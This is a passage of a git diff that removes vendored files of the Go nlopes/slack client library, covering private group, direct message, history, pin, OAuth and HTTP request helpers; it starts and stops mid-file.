{api.config.token}, - "channel": {group}, - } - _, err := groupRequest("groups.archive", values, api.debug) - if err != nil { - return err - } - return nil -} - -// UnarchiveGroup unarchives a private group -func (api *Client) UnarchiveGroup(group string) error { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - } - _, err := groupRequest("groups.unarchive", values, api.debug) - if err != nil { - return err - } - return nil -} - -// CreateGroup creates a private group -func (api *Client) CreateGroup(group string) (*Group, error) { - values := url.Values{ - "token": {api.config.token}, - "name": {group}, - } - response, err := groupRequest("groups.create", values, api.debug) - if err != nil { - return nil, err - } - return &response.Group, nil -} - -// CreateChildGroup creates a new private group archiving the old one -// This method takes an existing private group and performs the following steps: -// 1. Renames the existing group (from "example" to "example-archived"). -// 2. Archives the existing group. -// 3. Creates a new group with the name of the existing group. -// 4. Adds all members of the existing group to the new group. -func (api *Client) CreateChildGroup(group string) (*Group, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - } - response, err := groupRequest("groups.createChild", values, api.debug) - if err != nil { - return nil, err - } - return &response.Group, nil -} - -// CloseGroup closes a private group -func (api *Client) CloseGroup(group string) (bool, bool, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - } - response, err := imRequest("groups.close", values, api.debug) - if err != nil { - return false, false, err - } - return response.NoOp, response.AlreadyClosed, nil -} - -// GetGroupHistory fetches all the history for a private group -func (api *Client) GetGroupHistory(group string, params HistoryParameters) (*History, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - } - if params.Latest != DEFAULT_HISTORY_LATEST { - values.Add("latest", params.Latest) - } - if params.Oldest != DEFAULT_HISTORY_OLDEST { - values.Add("oldest", params.Oldest) - } - if params.Count != DEFAULT_HISTORY_COUNT { - values.Add("count", strconv.Itoa(params.Count)) - } - if params.Inclusive != DEFAULT_HISTORY_INCLUSIVE { - if params.Inclusive { - values.Add("inclusive", "1") - } else { - values.Add("inclusive", "0") - } - } - if params.Unreads != DEFAULT_HISTORY_UNREADS { - if params.Unreads { - values.Add("unreads", "1") - } else { - values.Add("unreads", "0") - } - } - response, err := groupRequest("groups.history", values, api.debug) - if err != nil { - return nil, err - } - return &response.History, nil -} - -// InviteUserToGroup invites a specific user to a private group -func (api *Client) InviteUserToGroup(group, user string) (*Group, bool, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - "user": {user}, - } - response, err := groupRequest("groups.invite", values, api.debug) - if err != nil { - return nil, false, err - } - return &response.Group, response.AlreadyInGroup, nil -} - -// LeaveGroup makes authenticated user leave the group -func (api *Client) LeaveGroup(group string) error { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - } - _, err := groupRequest("groups.leave", values, api.debug) - if err != nil { - return err - } - return nil -} - -// KickUserFromGroup kicks a user from a group -func (api *Client) KickUserFromGroup(group, user string) error { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - "user": {user}, - } - _, err := groupRequest("groups.kick", values, api.debug) - if err != nil { - return err - } - return nil -} - -// GetGroups retrieves all groups -func (api *Client) GetGroups(excludeArchived bool) ([]Group, error) { - values := url.Values{ - "token": {api.config.token}, - } - if excludeArchived { - values.Add("exclude_archived", "1") - } - response, err := groupRequest("groups.list", values, api.debug) - if err != nil { - return nil, err - } - return response.Groups, nil -} - -// GetGroupInfo retrieves the given group -func (api *Client) GetGroupInfo(group string) (*Group, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - } - response, err := groupRequest("groups.info", values, api.debug) - if err != nil { - return nil, err - } - return &response.Group, nil -} - -// SetGroupReadMark sets the read mark on a private group -// Clients should try to avoid making this call too often. When needing to mark a read position, a client should set a -// timer before making the call. In this way, any further updates needed during the timeout will not generate extra -// calls (just one per channel). This is useful for when reading scroll-back history, or following a busy live -// channel. A timeout of 5 seconds is a good starting point. Be sure to flush these calls on shutdown/logout. -func (api *Client) SetGroupReadMark(group, ts string) error { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - "ts": {ts}, - } - _, err := groupRequest("groups.mark", values, api.debug) - if err != nil { - return err - } - return nil -} - -// OpenGroup opens a private group -func (api *Client) OpenGroup(group string) (bool, bool, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - } - response, err := groupRequest("groups.open", values, api.debug) - if err != nil { - return false, false, err - } - return response.NoOp, response.AlreadyOpen, nil -} - -// RenameGroup renames a group -// XXX: They return a channel, not a group. What is this crap? :( -// Inconsistent api it seems. -func (api *Client) RenameGroup(group, name string) (*Channel, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - "name": {name}, - } - // XXX: the created entry in this call returns a string instead of a number - // so I may have to do some workaround to solve it. - response, err := groupRequest("groups.rename", values, api.debug) - if err != nil { - return nil, err - } - return &response.Channel, nil - -} - -// SetGroupPurpose sets the group purpose -func (api *Client) SetGroupPurpose(group, purpose string) (string, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - "purpose": {purpose}, - } - response, err := groupRequest("groups.setPurpose", values, api.debug) - if err != nil { - return "", err - } - return response.Purpose, nil -} - -// SetGroupTopic sets the group topic -func (api *Client) SetGroupTopic(group, topic string) (string, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {group}, - "topic": {topic}, - } - response, err := groupRequest("groups.setTopic", values, api.debug) - if err != nil { - return "", err - } - return response.Topic, nil -} diff --git a/vendor/github.com/nlopes/slack/history.go b/vendor/github.com/nlopes/slack/history.go deleted file mode 100644 index 87b2e1ed84..0000000000 --- a/vendor/github.com/nlopes/slack/history.go +++ /dev/null @@ -1,36 +0,0 @@ -package slack - -const ( - DEFAULT_HISTORY_LATEST = "" - DEFAULT_HISTORY_OLDEST = "0" - DEFAULT_HISTORY_COUNT = 100 - DEFAULT_HISTORY_INCLUSIVE = false - DEFAULT_HISTORY_UNREADS = false -) - -// HistoryParameters contains all the necessary information to help in the retrieval of history for Channels/Groups/DMs -type HistoryParameters struct { - Latest string - Oldest string - Count int - Inclusive bool - Unreads bool -} - -// History contains message history information needed to navigate a Channel / Group / DM history -type History struct { - Latest string `json:"latest"` - Messages []Message `json:"messages"` - HasMore bool `json:"has_more"` -} - -// NewHistoryParameters provides an instance of HistoryParameters with all the sane default values set -func NewHistoryParameters() HistoryParameters { - return HistoryParameters{ - Latest: DEFAULT_HISTORY_LATEST, - Oldest: DEFAULT_HISTORY_OLDEST, - Count: DEFAULT_HISTORY_COUNT, - Inclusive: DEFAULT_HISTORY_INCLUSIVE, - Unreads: DEFAULT_HISTORY_UNREADS, - } -} diff --git a/vendor/github.com/nlopes/slack/im.go b/vendor/github.com/nlopes/slack/im.go deleted file mode 100644 index 6fbc39e9f3..0000000000 --- a/vendor/github.com/nlopes/slack/im.go +++ /dev/null @@ -1,130 +0,0 @@ -package slack - -import ( - "errors" - "net/url" - "strconv" -) - -type imChannel struct { - ID string `json:"id"` -} - -type imResponseFull struct { - NoOp bool `json:"no_op"` - AlreadyClosed bool `json:"already_closed"` - AlreadyOpen bool `json:"already_open"` - Channel imChannel `json:"channel"` - IMs []IM `json:"ims"` - History - SlackResponse -} - -// IM contains information related to the Direct Message channel -type IM struct { - conversation - IsIM bool `json:"is_im"` - User string `json:"user"` - IsUserDeleted bool `json:"is_user_deleted"` -} - -func imRequest(path string, values url.Values, debug bool) (*imResponseFull, error) { - response := &imResponseFull{} - err := post(path, values, response, debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil -} - -// CloseIMChannel closes the direct message channel -func (api *Client) CloseIMChannel(channel string) (bool, bool, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - } - response, err := imRequest("im.close", values, api.debug) - if err != nil { - return false, false, err - } - return response.NoOp, response.AlreadyClosed, nil -} - -// OpenIMChannel opens a direct message channel to the user provided as argument -// Returns some status and the channel ID -func (api *Client) OpenIMChannel(user string) (bool, bool, string, error) { - values := url.Values{ - "token": {api.config.token}, - "user": {user}, - } - response, err := imRequest("im.open", values, api.debug) - if err != nil { - return false, false, "", err - } - return response.NoOp, response.AlreadyOpen, response.Channel.ID, nil -} - -// MarkIMChannel sets the read mark of a direct message channel to a specific point -func (api *Client) MarkIMChannel(channel, ts string) (err error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - "ts": {ts}, - } - _, err = imRequest("im.mark", values, api.debug) - if err != nil { - return err - } - return -} - -// GetIMHistory retrieves the direct message channel history -func (api *Client) GetIMHistory(channel string, params HistoryParameters) (*History, error) { - values := url.Values{ - "token": {api.config.token}, - "channel": {channel}, - } - if params.Latest != DEFAULT_HISTORY_LATEST { - values.Add("latest", params.Latest) - } - if params.Oldest != DEFAULT_HISTORY_OLDEST { - values.Add("oldest", params.Oldest) - } - if params.Count != DEFAULT_HISTORY_COUNT { - values.Add("count", strconv.Itoa(params.Count)) - } - if params.Inclusive != DEFAULT_HISTORY_INCLUSIVE { - if params.Inclusive { - values.Add("inclusive", "1") - } else { - values.Add("inclusive", "0") - } - } - if params.Unreads != DEFAULT_HISTORY_UNREADS { - if params.Unreads { - values.Add("unreads", "1") - } else { - values.Add("unreads", "0") - } - } - response, err := imRequest("im.history", values, api.debug) - if err != nil { - return nil, err - } - return &response.History, nil -} - -// GetIMChannels returns the list of direct message channels -func (api *Client) GetIMChannels() ([]IM, error) { - values := url.Values{ - "token": {api.config.token}, - } - response, err := imRequest("im.list", values, api.debug) - if err != nil { - return nil, err - } - return response.IMs, nil -} diff --git a/vendor/github.com/nlopes/slack/info.go b/vendor/github.com/nlopes/slack/info.go deleted file mode 100644 index 49db5327d7..0000000000 --- a/vendor/github.com/nlopes/slack/info.go +++ /dev/null @@ -1,210 +0,0 @@ -package slack - -import ( - "fmt" - "time" -) - -// UserPrefs needs to be implemented -type UserPrefs struct { - // "highlight_words":"", - // "user_colors":"", - // "color_names_in_list":true, - // "growls_enabled":true, - // "tz":"Europe\/London", - // "push_dm_alert":true, - // "push_mention_alert":true, - // "push_everything":true, - // "push_idle_wait":2, - // "push_sound":"b2.mp3", - // "push_loud_channels":"", - // "push_mention_channels":"", - // "push_loud_channels_set":"", - // "email_alerts":"instant", - // "email_alerts_sleep_until":0, - // "email_misc":false, - // "email_weekly":true, - // "welcome_message_hidden":false, - // "all_channels_loud":true, - // "loud_channels":"", - // "never_channels":"", - // "loud_channels_set":"", - // "show_member_presence":true, - // "search_sort":"timestamp", - // "expand_inline_imgs":true, - // "expand_internal_inline_imgs":true, - // "expand_snippets":false, - // "posts_formatting_guide":true, - // "seen_welcome_2":true, - // "seen_ssb_prompt":false, - // "search_only_my_channels":false, - // "emoji_mode":"default", - // "has_invited":true, - // "has_uploaded":false, - // "has_created_channel":true, - // "search_exclude_channels":"", - // "messages_theme":"default", - // "webapp_spellcheck":true, - // "no_joined_overlays":false, - // "no_created_overlays":true, - // "dropbox_enabled":false, - // "seen_user_menu_tip_card":true, - // "seen_team_menu_tip_card":true, - // "seen_channel_menu_tip_card":true, - // "seen_message_input_tip_card":true, - // "seen_channels_tip_card":true, - // "seen_domain_invite_reminder":false, - // "seen_member_invite_reminder":false, - // "seen_flexpane_tip_card":true, - // "seen_search_input_tip_card":true, - // "mute_sounds":false, - // "arrow_history":false, - // "tab_ui_return_selects":true, - // "obey_inline_img_limit":true, - // "new_msg_snd":"knock_brush.mp3", - // "collapsible":false, - // "collapsible_by_click":true, - // "require_at":false, - // "mac_ssb_bounce":"", - // "mac_ssb_bullet":true, - // "win_ssb_bullet":true, - // "expand_non_media_attachments":true, - // "show_typing":true, - // "pagekeys_handled":true, - // "last_snippet_type":"", - // "display_real_names_override":0, - // "time24":false, - // "enter_is_special_in_tbt":false, - // "graphic_emoticons":false, - // "convert_emoticons":true, - // "autoplay_chat_sounds":true, - // "ss_emojis":true, - // "sidebar_behavior":"", - // "mark_msgs_read_immediately":true, - // "start_scroll_at_oldest":true, - // "snippet_editor_wrap_long_lines":false, - // "ls_disabled":false, - // "sidebar_theme":"default", - // "sidebar_theme_custom_values":"", - // "f_key_search":false, - // "k_key_omnibox":true, - // "speak_growls":false, - // "mac_speak_voice":"com.apple.speech.synthesis.voice.Alex", - // "mac_speak_speed":250, - // "comma_key_prefs":false, - // "at_channel_suppressed_channels":"", - // "push_at_channel_suppressed_channels":"", - // "prompted_for_email_disabling":false, - // "full_text_extracts":false, - // "no_text_in_notifications":false, - // "muted_channels":"", - // "no_macssb1_banner":false, - // "privacy_policy_seen":true, - // "search_exclude_bots":false, - // "fuzzy_matching":false -} - -// UserDetails contains user details coming in the initial response from StartRTM -type UserDetails struct { - ID string `json:"id"` - Name string `json:"name"` - Created JSONTime `json:"created"` - ManualPresence string `json:"manual_presence"` - Prefs UserPrefs `json:"prefs"` -} - -// JSONTime exists so that we can have a String method converting the date -type JSONTime int64 - -// String converts the unix timestamp into a string -func (t JSONTime) String() string { - tm := t.Time() - return fmt.Sprintf("\"%s\"", tm.Format("Mon Jan _2")) -} - -// Time returns a `time.Time` representation of this value. -func (t JSONTime) Time() time.Time { - return time.Unix(int64(t), 0) -} - -// Team contains details about a team -type Team struct { - ID string `json:"id"` - Name string `json:"name"` - Domain string `json:"domain"` -} - -// Icons XXX: needs further investigation -type Icons struct { - Image36 string `json:"image_36,omitempty"` - Image48 string `json:"image_48,omitempty"` - Image72 string `json:"image_72,omitempty"` -} - -// Info contains various details about Users, Channels, Bots and the authenticated user. -// It is returned by StartRTM or included in the "ConnectedEvent" RTM event. -type Info struct { - URL string `json:"url,omitempty"` - User *UserDetails `json:"self,omitempty"` - Team *Team `json:"team,omitempty"` - Users []User `json:"users,omitempty"` - Channels []Channel `json:"channels,omitempty"` - Groups []Group `json:"groups,omitempty"` - Bots []Bot `json:"bots,omitempty"` - IMs []IM `json:"ims,omitempty"` -} - -type infoResponseFull struct { - Info - WebResponse -} - -// GetBotByID returns a bot given a bot id -func (info Info) GetBotByID(botID string) *Bot { - for _, bot := range info.Bots { - if bot.ID == botID { - return &bot - } - } - return nil -} - -// GetUserByID returns a user given a user id -func (info Info) GetUserByID(userID string) *User { - for _, user := range info.Users { - if user.ID == userID { - return &user - } - } - return nil -} - -// GetChannelByID returns a channel given a channel id -func (info Info) GetChannelByID(channelID string) *Channel { - for _, channel := range info.Channels { - if channel.ID == channelID { - return &channel - } - } - return nil -} - -// GetGroupByID returns a group given a group id -func (info Info) GetGroupByID(groupID string) *Group { - for _, group := range info.Groups { - if group.ID == groupID { - return &group - } - } - return nil -} - -// GetIMByID returns an IM given an IM id -func (info Info) GetIMByID(imID string) *IM { - for _, im := range info.IMs { - if im.ID == imID { - return &im - } - } - return nil -} diff --git a/vendor/github.com/nlopes/slack/item.go b/vendor/github.com/nlopes/slack/item.go deleted file mode 100644 index 89af4eb15b..0000000000 --- a/vendor/github.com/nlopes/slack/item.go +++ /dev/null @@ -1,75 +0,0 @@ -package slack - -const ( - TYPE_MESSAGE = "message" - TYPE_FILE = "file" - TYPE_FILE_COMMENT = "file_comment" - TYPE_CHANNEL = "channel" - TYPE_IM = "im" - TYPE_GROUP = "group" -) - -// Item is any type of slack message - message, file, or file comment. -type Item struct { - Type string `json:"type"` - Channel string `json:"channel,omitempty"` - Message *Message `json:"message,omitempty"` - File *File `json:"file,omitempty"` - Comment *Comment `json:"comment,omitempty"` - Timestamp string `json:"ts,omitempty"` -} - -// NewMessageItem turns a message on a channel into a typed message struct. -func NewMessageItem(ch string, m *Message) Item { - return Item{Type: TYPE_MESSAGE, Channel: ch, Message: m} -} - -// NewFileItem turns a file into a typed file struct. -func NewFileItem(f *File) Item { - return Item{Type: TYPE_FILE, File: f} -} - -// NewFileCommentItem turns a file and comment into a typed file_comment struct. -func NewFileCommentItem(f *File, c *Comment) Item { - return Item{Type: TYPE_FILE_COMMENT, File: f, Comment: c} -} - -// NewChannelItem turns a channel id into a typed channel struct. -func NewChannelItem(ch string) Item { - return Item{Type: TYPE_CHANNEL, Channel: ch} -} - -// NewIMItem turns a channel id into a typed im struct. -func NewIMItem(ch string) Item { - return Item{Type: TYPE_IM, Channel: ch} -} - -// NewGroupItem turns a channel id into a typed group struct. -func NewGroupItem(ch string) Item { - return Item{Type: TYPE_GROUP, Channel: ch} -} - -// ItemRef is a reference to a message of any type. One of FileID, -// CommentId, or the combination of ChannelId and Timestamp must be -// specified. -type ItemRef struct { - Channel string `json:"channel"` - Timestamp string `json:"timestamp"` - File string `json:"file"` - Comment string `json:"file_comment"` -} - -// NewRefToMessage initializes a reference to to a message. -func NewRefToMessage(channel, timestamp string) ItemRef { - return ItemRef{Channel: channel, Timestamp: timestamp} -} - -// NewRefToFile initializes a reference to a file. -func NewRefToFile(file string) ItemRef { - return ItemRef{File: file} -} - -// NewRefToComment initializes a reference to a file comment. -func NewRefToComment(comment string) ItemRef { - return ItemRef{Comment: comment} -} diff --git a/vendor/github.com/nlopes/slack/messageID.go b/vendor/github.com/nlopes/slack/messageID.go deleted file mode 100644 index a17472b4fc..0000000000 --- a/vendor/github.com/nlopes/slack/messageID.go +++ /dev/null @@ -1,30 +0,0 @@ -package slack - -import "sync" - -// IDGenerator provides an interface for generating integer ID values. -type IDGenerator interface { - Next() int -} - -// NewSafeID returns a new instance of an IDGenerator which is safe for -// concurrent use by multiple goroutines. -func NewSafeID(startID int) IDGenerator { - return &safeID{ - nextID: startID, - mutex: &sync.Mutex{}, - } -} - -type safeID struct { - nextID int - mutex *sync.Mutex -} - -func (s *safeID) Next() int { - s.mutex.Lock() - defer s.mutex.Unlock() - id := s.nextID - s.nextID++ - return id -} diff --git a/vendor/github.com/nlopes/slack/messages.go b/vendor/github.com/nlopes/slack/messages.go deleted file mode 100644 index 39f0d6b113..0000000000 --- a/vendor/github.com/nlopes/slack/messages.go +++ /dev/null @@ -1,144 +0,0 @@ -package slack - -// OutgoingMessage is used for the realtime API, and seems incomplete. -type OutgoingMessage struct { - ID int `json:"id"` - Channel string `json:"channel,omitempty"` - Text string `json:"text,omitempty"` - Type string `json:"type,omitempty"` - ThreadTimestamp string `json:"thread_ts,omitempty"` -} - -// Message is an auxiliary type to allow us to have a message containing sub messages -type Message struct { - Msg - SubMessage *Msg `json:"message,omitempty"` -} - -// Msg contains information about a slack message -type Msg struct { - // Basic Message - Type string `json:"type,omitempty"` - Channel string `json:"channel,omitempty"` - User string `json:"user,omitempty"` - Text string `json:"text,omitempty"` - Timestamp string `json:"ts,omitempty"` - ThreadTimestamp string `json:"thread_ts,omitempty"` - IsStarred bool `json:"is_starred,omitempty"` - PinnedTo []string `json:"pinned_to, omitempty"` - Attachments []Attachment `json:"attachments,omitempty"` - Edited *Edited `json:"edited,omitempty"` - - // Message Subtypes - SubType string `json:"subtype,omitempty"` - - // Hidden Subtypes - Hidden bool `json:"hidden,omitempty"` // message_changed, message_deleted, unpinned_item - DeletedTimestamp string `json:"deleted_ts,omitempty"` // message_deleted - EventTimestamp string `json:"event_ts,omitempty"` - - // bot_message (https://api.slack.com/events/message/bot_message) - BotID string `json:"bot_id,omitempty"` - Username string `json:"username,omitempty"` - Icons *Icon `json:"icons,omitempty"` - - // channel_join, group_join - Inviter string `json:"inviter,omitempty"` - - // channel_topic, group_topic - Topic string `json:"topic,omitempty"` - - // channel_purpose, group_purpose - Purpose string `json:"purpose,omitempty"` - - // channel_name, group_name - Name string `json:"name,omitempty"` - OldName string `json:"old_name,omitempty"` - - // channel_archive, group_archive - Members []string `json:"members,omitempty"` - - // channels.replies, groups.replies, im.replies, mpim.replies - ReplyCount int `json:"reply_count,omitempty"` - Replies []Reply `json:"replies,omitempty"` - ParentUserId string `json:"parent_user_id,omitempty"` - - // file_share, file_comment, file_mention - File *File `json:"file,omitempty"` - - // file_share - Upload bool `json:"upload,omitempty"` - - // file_comment - Comment *Comment `json:"comment,omitempty"` - - // pinned_item - ItemType string `json:"item_type,omitempty"` - - // https://api.slack.com/rtm - ReplyTo int `json:"reply_to,omitempty"` - Team string `json:"team,omitempty"` - - // reactions - Reactions []ItemReaction `json:"reactions,omitempty"` -} - -// Icon is used for bot messages -type Icon struct { - IconURL string `json:"icon_url,omitempty"` - IconEmoji string `json:"icon_emoji,omitempty"` -} - -// Edited indicates that a message has been edited. -type Edited struct { - User string `json:"user,omitempty"` - Timestamp string `json:"ts,omitempty"` -} - -// Reply contains information about a reply for a thread -type Reply struct { - User string `json:"user,omitempty"` - Timestamp string `json:"ts,omitempty"` -} - -// Event contains the event type -type Event struct { - Type string `json:"type,omitempty"` -} - -// Ping contains information about a Ping Event -type Ping struct { - ID int `json:"id"` - Type string `json:"type"` -} - -// Pong contains information about a Pong Event -type Pong struct { - Type string `json:"type"` - ReplyTo int `json:"reply_to"` -} - -// NewOutgoingMessage prepares an OutgoingMessage that the user can -// use to send a message. Use this function to properly set the -// messageID. -func (rtm *RTM) NewOutgoingMessage(text string, channel string) *OutgoingMessage { - id := rtm.idGen.Next() - return &OutgoingMessage{ - ID: id, - Type: "message", - Channel: channel, - Text: text, - } -} - -// NewTypingMessage prepares an OutgoingMessage that the user can -// use to send as a typing indicator. Use this function to properly set the -// messageID. -func (rtm *RTM) NewTypingMessage(channel string) *OutgoingMessage { - id := rtm.idGen.Next() - return &OutgoingMessage{ - ID: id, - Type: "typing", - Channel: channel, - } -} diff --git a/vendor/github.com/nlopes/slack/misc.go b/vendor/github.com/nlopes/slack/misc.go deleted file mode 100644 index 9b5e7c5fb3..0000000000 --- a/vendor/github.com/nlopes/slack/misc.go +++ /dev/null @@ -1,179 +0,0 @@ -package slack - -import ( - "bytes" - "encoding/json" - "fmt" - "io" - "io/ioutil" - "mime/multipart" - "net/http" - "net/http/httputil" - "net/url" - "os" - "path/filepath" - "strings" - "time" -) - -// HTTPRequester defines the minimal interface needed for an http.Client to be implemented. -// -// Use it in conjunction with the SetHTTPClient function to allow for other capabilities -// like a tracing http.Client -type HTTPRequester interface { - Do(*http.Request) (*http.Response, error) -} - -var customHTTPClient HTTPRequester - -// HTTPClient sets a custom http.Client -// deprecated: in favor of SetHTTPClient() -var HTTPClient = &http.Client{} - -type WebResponse struct { - Ok bool `json:"ok"` - Error *WebError `json:"error"` -} - -type WebError string - -func (s WebError) Error() string { - return string(s) -} - -func fileUploadReq(path, fieldname, filename string, values url.Values, r io.Reader) (*http.Request, error) { - body := &bytes.Buffer{} - wr := multipart.NewWriter(body) - - ioWriter, err := wr.CreateFormFile(fieldname, filename) - if err != nil { - wr.Close() - return nil, err - } - _, err = io.Copy(ioWriter, r) - if err != nil { - wr.Close() - return nil, err - } - // Close the multipart writer or the footer won't be written - wr.Close() - req, err := http.NewRequest("POST", path, body) - if err != nil { - return nil, err - } - req.Header.Add("Content-Type", wr.FormDataContentType()) - req.URL.RawQuery = (values).Encode() - return req, nil -} - -func parseResponseBody(body io.ReadCloser, intf *interface{}, debug bool) error { - response, err := ioutil.ReadAll(body) - if err != nil { - return err - } - - // FIXME: will be api.Debugf - if debug { - logger.Printf("parseResponseBody: %s\n", string(response)) - } - - err = json.Unmarshal(response, &intf) - if err != nil { - return err - } - - return nil -} - -func postLocalWithMultipartResponse(path, fpath, fieldname string, values url.Values, intf interface{}, debug bool) error { - fullpath, err := filepath.Abs(fpath) - if err != nil { - return err - } - file, err := os.Open(fullpath) - if err != nil { - return err - } - defer file.Close() - return postWithMultipartResponse(path, filepath.Base(fpath), fieldname, values, file, intf, debug) -} - -func postWithMultipartResponse(path, name, fieldname string, values url.Values, r io.Reader, intf interface{}, debug bool) error { - req, err := fileUploadReq(SLACK_API+path, fieldname, name, values, r) - if err != nil { - return err - } - resp, err := getHTTPClient().Do(req) - if err != nil { - return err - } - defer resp.Body.Close() - - // Slack seems to send an HTML body along with 5xx error codes. Don't parse it. - if resp.StatusCode != 200 { - logResponse(resp, debug) - return fmt.Errorf("Slack server error: %s.", resp.Status) - } - - return parseResponseBody(resp.Body, &intf, debug) -} - -func postForm(endpoint string, values url.Values, intf interface{}, debug bool) error { - reqBody := strings.NewReader(values.Encode()) - req, err := http.NewRequest("POST", endpoint, reqBody) - if err != nil { - return err - } - req.Header.Set("Content-Type", "application/x-www-form-urlencoded") - - resp, err := getHTTPClient().Do(req) - if err != nil { - return err - } - defer resp.Body.Close() - - // Slack seems to send an HTML body along with 5xx error codes. Don't parse it. - if resp.StatusCode != 200 { - logResponse(resp, debug) - return fmt.Errorf("Slack server error: %s.", resp.Status) - } - - return parseResponseBody(resp.Body, &intf, debug) -} - -func post(path string, values url.Values, intf interface{}, debug bool) error { - return postForm(SLACK_API+path, values, intf, debug) -} - -func parseAdminResponse(method string, teamName string, values url.Values, intf interface{}, debug bool) error { - endpoint := fmt.Sprintf(SLACK_WEB_API_FORMAT, teamName, method, time.Now().Unix()) - return postForm(endpoint, values, intf, debug) -} - -func logResponse(resp *http.Response, debug bool) error { - if debug { - text, err := httputil.DumpResponse(resp, true) - if err != nil { - return err - } - - logger.Print(string(text)) - } - - return nil -} - -func getHTTPClient() HTTPRequester { - if customHTTPClient != nil { - return customHTTPClient - } - - return HTTPClient -} - -// SetHTTPClient allows you to specify a custom http.Client -// Use this instead of the package level HTTPClient variable if you want to use a custom client like the -// Stackdriver Trace HTTPClient https://godoc.org/cloud.google.com/go/trace#HTTPClient -func SetHTTPClient(client HTTPRequester) { - customHTTPClient = client -} diff --git a/vendor/github.com/nlopes/slack/oauth.go b/vendor/github.com/nlopes/slack/oauth.go deleted file mode 100644 index 1285abbd7e..0000000000 --- a/vendor/github.com/nlopes/slack/oauth.go +++ /dev/null @@ -1,56 +0,0 @@ -package slack - -import ( - "errors" - "net/url" -) - -type OAuthResponseIncomingWebhook struct { - URL string `json:"url"` - Channel string `json:"channel"` - ChannelID string `json:"channel_id,omitempty"` - ConfigurationURL string `json:"configuration_url"` -} - -type OAuthResponseBot struct { - BotUserID string `json:"bot_user_id"` - BotAccessToken string `json:"bot_access_token"` -} - -type OAuthResponse struct { - AccessToken string `json:"access_token"` - Scope string `json:"scope"` - TeamName string `json:"team_name"` - TeamID string `json:"team_id"` - IncomingWebhook OAuthResponseIncomingWebhook `json:"incoming_webhook"` - Bot OAuthResponseBot `json:"bot"` - UserID string `json:"user_id,omitempty"` - SlackResponse -} - -// GetOAuthToken retrieves an AccessToken -func GetOAuthToken(clientID, clientSecret, code, redirectURI string, debug bool) (accessToken string, scope string, err error) { - response, err := GetOAuthResponse(clientID, clientSecret, code, redirectURI, debug) - if err != nil { - return "", "", err - } - return response.AccessToken, response.Scope, nil -} - -func GetOAuthResponse(clientID, clientSecret, code, redirectURI string, debug bool) (resp *OAuthResponse, err error) { - values := url.Values{ - "client_id": {clientID}, - "client_secret": {clientSecret}, - "code": {code}, - "redirect_uri": {redirectURI}, - } - response := &OAuthResponse{} - err = post("oauth.access", values, response, debug) - if err != nil { - return nil, err - } - if !response.Ok { - return nil, errors.New(response.Error) - } - return response, nil -} diff --git a/vendor/github.com/nlopes/slack/pagination.go b/vendor/github.com/nlopes/slack/pagination.go deleted file mode 100644 index 87dd136a4b..0000000000 --- a/vendor/github.com/nlopes/slack/pagination.go +++ /dev/null @@ -1,20 +0,0 @@ -package slack - -// Paging contains paging information -type Paging struct { - Count int `json:"count"` - Total int `json:"total"` - Page int `json:"page"` - Pages int `json:"pages"` -} - -// Pagination contains pagination information -// This is different from Paging in that it contains additional details -type Pagination struct { - TotalCount int `json:"total_count"` - Page int `json:"page"` - PerPage int `json:"per_page"` - PageCount int `json:"page_count"` - First int `json:"first"` - Last int `json:"last"` -} diff --git a/vendor/github.com/nlopes/slack/pins.go b/vendor/github.com/nlopes/slack/pins.go deleted file mode 100644 index b95efbb65e..0000000000 --- a/vendor/github.com/nlopes/slack/pins.go +++ /dev/null @@ -1,79 +0,0 @@ -package slack - -import ( - "errors" - "net/url" -) - -type listPinsResponseFull struct { - Items []Item - Paging `json:"paging"` - SlackResponse -} - -// AddPin pins an item in a channel -func (api *Client) AddPin(channel string, item ItemRef) error { - values := url.Values{ - "channel": {channel}, - "token": {api.config.token}, - } - if item.Timestamp != "" { - values.Set("timestamp", string(item.Timestamp)) - } - if item.File != "" { - values.Set("file", string(item.File)) - } - if item.Comment != "" { - values.Set("file_comment", string(item.Comment)) - } - response := &SlackResponse{} - if err := post("pins.add", values, response, api.debug); err != nil { - return err - } - if !response.Ok { - return errors.New(response.Error) - } - return nil -} - -// RemovePin un-pins an item from a channel -func (api *Client) RemovePin(channel string, item ItemRef) error { - values := url.Values{ - "channel": {channel}, - "token": {api.config.token}, - } - if item.Timestamp != "" { - values.Set("timestamp", string(item.Timestamp)) - } - if item.File != "" { - values.Set("file", string(item.File)) - } - if item.Comment != "" { - values.Set("file_comment", string(item.Comment)) - } - response := &SlackResponse{} - if err := post("pins.remove", values, response, api.debug); err != nil { - return err - } - if !response.Ok { - return errors.New(response.Error) - } - return nil -} - -// ListPins returns information about the items a user reacted to. -func (api *Client) ListPins(channel string) ([]Item, *Paging, error) { - values := url.Values{ - "channel": {channel}, - "token": {api.config.token}, - } - response := &listPinsResponseFull{} - err := post("pins.list", values, response, api.debug) - if err != nil { - return nil, nil, err - } - if !response.Ok { - return nil, nil, errors.New(response.Error) - } - return response.Items, &response.Paging, nil -} diff --git a/vendor/github.com/nlopes/slack/reactions.go b/vendor/github.com/nlopes/slack/reactions.go deleted file mode 100644 index 8769543dac..0000000000 --- a/vendor/github.com/nlopes/slack/reactions.go +++ /dev/null @@ -1,246 +0,0 @@ -package slack - -import ( - "errors" - "net/url" - "strconv" -) - -// ItemReaction is the reactions that have happened on an item. -type ItemReaction struct { - Name string `json:"name"` - Count int `json:"count"` - Users []string `json:"users"` -} - -// ReactedItem is an item that was reacted to, and the details of the -// reactions. -type ReactedItem struct { - Item - Reactions []ItemReaction -} - -// GetReactionsParameters is the inputs to get reactions to an item. -type GetReactionsParameters struct { - Full bool -} - -// NewGetReactionsParameters initializes the inputs to 